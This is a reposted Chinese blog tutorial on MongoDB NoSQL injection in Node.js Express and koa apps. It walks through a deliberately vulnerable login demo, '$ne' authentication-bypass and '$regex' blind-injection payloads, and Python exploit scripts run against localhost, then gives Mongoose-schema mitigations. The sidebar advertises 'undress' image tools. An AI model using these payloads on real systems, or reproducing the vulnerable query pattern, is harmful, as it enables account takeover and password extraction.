Inhaltsverzeichnis
The difference between Express and koa
GET
POST
Mongodb Injection in Express
Bypass Login Directly in Express
Login Blind Injection in Express
Exploit
0x02
Express with Mongoose
At the end
Heim Datenbank MySQL-Tutorial Mongodb Injection in Node.js Web Framework

Mongodb Injection in Node.js Web Framework

Jun 07, 2016 pm 04:41 PM
mongodb node.js web

The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和

The difference between Express and koa

Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。

GET

在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:

<code>test[1]=a&test[2]=b
</code>
Nach dem Login kopieren

Expres 的 req.query 会把 test 处理成 Object:

<code>{ test: [ 'a', 'b' ] }
</code>
Nach dem Login kopieren

koa 的 this.request.query 却不会:

<code>{ 'test[1]': 'a', 'test[2]': 'b' }
</code>
Nach dem Login kopieren

在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。

POST

在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded,Express和 koa 的行为也是不相同的,对于:

<code>test[a]=123&test[b]=456
</code>
Nach dem Login kopieren

Express 的 req.body 解析后的结果为:

<code>{ 'test[a]': '123', 'test[b]': '456' }
</code>
Nach dem Login kopieren

koa co-body 处理后解析后的结果为:

<code>{ test: { a: '123', b: '456' } }
</code>
Nach dem Login kopieren

当 Content-Type 为 multipart/form-data,对于:

<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
</code>
Nach dem Login kopieren

Express 利用 multiparty 解析的结果为:

<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
</code>
Nach dem Login kopieren

koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json,Express 和 koa 在结果上时相同的,对于:

<code>{"test1": 1, "test2": {"test": "hello"}}
</code>
Nach dem Login kopieren

解析结果都为:

<code>{ test1: 1, test2: { test: 'hello' } }
</code>
Nach dem Login kopieren

另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。

Mongodb Injection in Express

这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。

对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。

我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin

Bypass Login Directly in Express

/controllers/user.js

<code>LoginHandler.login = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'Login Fail'});
            return;
        };
        response.status(200).json({user: 'Hello ' + user.username});
    });
};
</code>
Nach dem Login kopieren

此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js

<code>User.prototype.login = function (callback) {
    var _user = {
        username: this.username,
        password: this.password
    };
    db.open(function (err, db) {
        if (err) return callback(err);
        db.collection('users', function (err, collection) {
            if (err) {
                db.close();
                return callback(err);
            };
            collection.findOne(_user, function (err, user) { // Injection
                // do stuff
            });
        });
    });
}
</code>
Nach dem Login kopieren

由于此处我们提交的数据为:

<code>{"username": "test", "password": {"$ne": 1}
</code>
Nach dem Login kopieren

Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。

Login Blind Injection in Express

/controller/user.js

<code>LoginHandler.login2 = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'User not exist'});
            return;
        };
        if (user.password === request.body.password) {
            response.status(200).json({user: 'Hello ' + user.username});
        } else {
            response.status(401).json({message: 'Password is not correct'});
        };
    });
};
</code>
Nach dem Login kopieren

此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:

<code>{"username": "test", "password": {"$regex": "^1"}}
</code>
Nach dem Login kopieren

如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:

<code>{"username": "test", "password": {"$regex": "^11"}}
</code>
Nach dem Login kopieren

重复上述步骤直至猜解结束。

Exploit

0x01

Code:

<code>import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
</code>
Nach dem Login kopieren

Result:

0x02

Code:

<code>import sys
import urllib2
def req(url, data):
    try:
        request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
        return urllib2.urlopen(request).read()
    except urllib2.HTTPError, e:
        return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
    for i in chars:
        resp = req(url, payload % (password + i))
        if FLAG_PASSWORD_INCORRECT in resp:
            password += i
            print password
            break
        elif FLAG_USER_NOT_EXIST in resp:
            pass
        if i == chars[-1]:
            print password
            sys.exit(0)
</code>
Nach dem Login kopieren

Result:

Express with Mongoose

常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。

使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:

<code>var _User = new db.Schema({                
    username: String,
    password: String,
    apikey: String  
});
</code>
Nach dem Login kopieren

这样的话,我们传入:

<code>{"username": "ricter","password": {"$ne": 1}}
</code>
Nach dem Login kopieren

实际上查询的时候会被转变成:

<code>{ username: 'ricter', password: undefined }
</code>
Nach dem Login kopieren

所以不会造成 Mongodb Injection。

At the end

Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
2 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
Repo: Wie man Teamkollegen wiederbelebt
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Welche Version wird im Allgemeinen für Mongodb verwendet? Welche Version wird im Allgemeinen für Mongodb verwendet? Apr 07, 2024 pm 05:48 PM

Es wird empfohlen, die neueste Version von MongoDB (derzeit 5.0) zu verwenden, da diese die neuesten Funktionen und Verbesserungen bietet. Bei der Auswahl einer Version müssen Sie funktionale Anforderungen, Kompatibilität, Stabilität und Community-Unterstützung berücksichtigen. Die neueste Version verfügt beispielsweise über Funktionen wie Transaktions- und Aggregationspipeline-Optimierung. Stellen Sie sicher, dass die Version mit der Anwendung kompatibel ist. Wählen Sie für Produktionsumgebungen die Langzeit-Support-Version. Die neueste Version bietet eine aktivere Community-Unterstützung.

Der Unterschied zwischen NodeJS und VueJS Der Unterschied zwischen NodeJS und VueJS Apr 21, 2024 am 04:17 AM

Node.js ist eine serverseitige JavaScript-Laufzeitumgebung, während Vue.js ein clientseitiges JavaScript-Framework zum Erstellen interaktiver Benutzeroberflächen ist. Node.js wird für die serverseitige Entwicklung verwendet, beispielsweise für die Entwicklung von Back-End-Service-APIs und die Datenverarbeitung, während Vue.js für die clientseitige Entwicklung verwendet wird, beispielsweise für Single-Page-Anwendungen und reaktionsfähige Benutzeroberflächen.

Wo wird die von mongodb erstellte Datenbank erstellt? Wo wird die von mongodb erstellte Datenbank erstellt? Apr 07, 2024 pm 05:39 PM

Die Daten der MongoDB-Datenbank werden im angegebenen Datenverzeichnis gespeichert, das sich im lokalen Dateisystem, Netzwerkdateisystem oder Cloud-Speicher befinden kann. Der spezifische Speicherort ist wie folgt: Lokales Dateisystem: Der Standardpfad ist Linux/macOS: /data/db, Windows: C:\data\db. Netzwerkdateisystem: Der Pfad hängt vom Dateisystem ab. Cloud-Speicher: Der Pfad wird vom Cloud-Speicheranbieter bestimmt.

Was sind die Vorteile der Mongodb-Datenbank? Was sind die Vorteile der Mongodb-Datenbank? Apr 07, 2024 pm 05:21 PM

Die MongoDB-Datenbank ist für ihre Flexibilität, Skalierbarkeit und hohe Leistung bekannt. Zu seinen Vorteilen gehört: ein Dokumentdatenmodell, das eine flexible und unstrukturierte Speicherung von Daten ermöglicht. Horizontale Skalierbarkeit auf mehrere Server über Sharding. Abfrageflexibilität, Unterstützung komplexer Abfragen und Aggregationsvorgänge. Datenreplikation und Fehlertoleranz sorgen für Datenredundanz und hohe Verfügbarkeit. JSON-Unterstützung für einfache Integration mit Front-End-Anwendungen. Hohe Leistung für schnelle Reaktion auch bei der Verarbeitung großer Datenmengen. Open Source, anpassbar und kostenlos nutzbar.

Was bedeutet Mongodb? Was bedeutet Mongodb? Apr 07, 2024 pm 05:57 PM

MongoDB ist ein dokumentenorientiertes, verteiltes Datenbanksystem zur Speicherung und Verwaltung großer Mengen strukturierter und unstrukturierter Daten. Zu den Kernkonzepten gehören die Speicherung und Verteilung von Dokumenten und zu den Hauptfunktionen gehören dynamische Schemata, Indizierung, Aggregation, Kartenreduzierung und Replikation. Es wird häufig in Content-Management-Systemen, E-Commerce-Plattformen, Social-Media-Websites, IoT-Anwendungen und der Entwicklung mobiler Anwendungen eingesetzt.

Wo sind die Mongodb-Datenbankdateien? Wo sind die Mongodb-Datenbankdateien? Apr 07, 2024 pm 05:42 PM

Die MongoDB-Datenbankdatei befindet sich im MongoDB-Datenverzeichnis, das standardmäßig /data/db ist und .bson (Dokumentdaten), ns (Sammlungsinformationen), Journal (Schreibvorgangsdatensätze) und wiredTiger (Daten bei Verwendung von WiredTiger) enthält Speicher-Engine) und config (Datenbankkonfigurationsinformationen) und andere Dateien.

So öffnen Sie Mongodb So öffnen Sie Mongodb Apr 07, 2024 pm 06:15 PM

Unter Linux/macOS: Erstellen Sie das Datenverzeichnis und starten Sie den Dienst „mongod“. Unter Windows: Erstellen Sie das Datenverzeichnis und starten Sie den MongoDB-Dienst über den Service Manager. In Docker: Führen Sie den Befehl „docker run“ aus. Auf anderen Plattformen: Bitte konsultieren Sie die MongoDB-Dokumentation. Überprüfungsmethode: Führen Sie den Befehl „mongo“ aus, um eine Verbindung herzustellen und die Serverversion anzuzeigen.

So aktivieren Sie den administrativen Zugriff über die Cockpit-Web-Benutzeroberfläche So aktivieren Sie den administrativen Zugriff über die Cockpit-Web-Benutzeroberfläche Mar 20, 2024 pm 06:56 PM

Cockpit ist eine webbasierte grafische Oberfläche für Linux-Server. Es soll vor allem neuen/erfahrenen Benutzern die Verwaltung von Linux-Servern erleichtern. In diesem Artikel besprechen wir die Cockpit-Zugriffsmodi und wie Sie den Administratorzugriff von CockpitWebUI auf das Cockpit umstellen. Inhaltsthemen: Cockpit-Eingabemodi Ermitteln des aktuellen Cockpit-Zugriffsmodus Aktivieren des Verwaltungszugriffs für das Cockpit über CockpitWebUI Deaktivieren des Verwaltungszugriffs für das Cockpit über CockpitWebUI Fazit Cockpit-Eingabemodi Das Cockpit verfügt über zwei Zugriffsmodi: Eingeschränkter Zugriff: Dies ist die Standardeinstellung für den Cockpit-Zugriffsmodus. In diesem Zugriffsmodus können Sie vom Cockpit aus nicht auf den Webbenutzer zugreifen

See all articles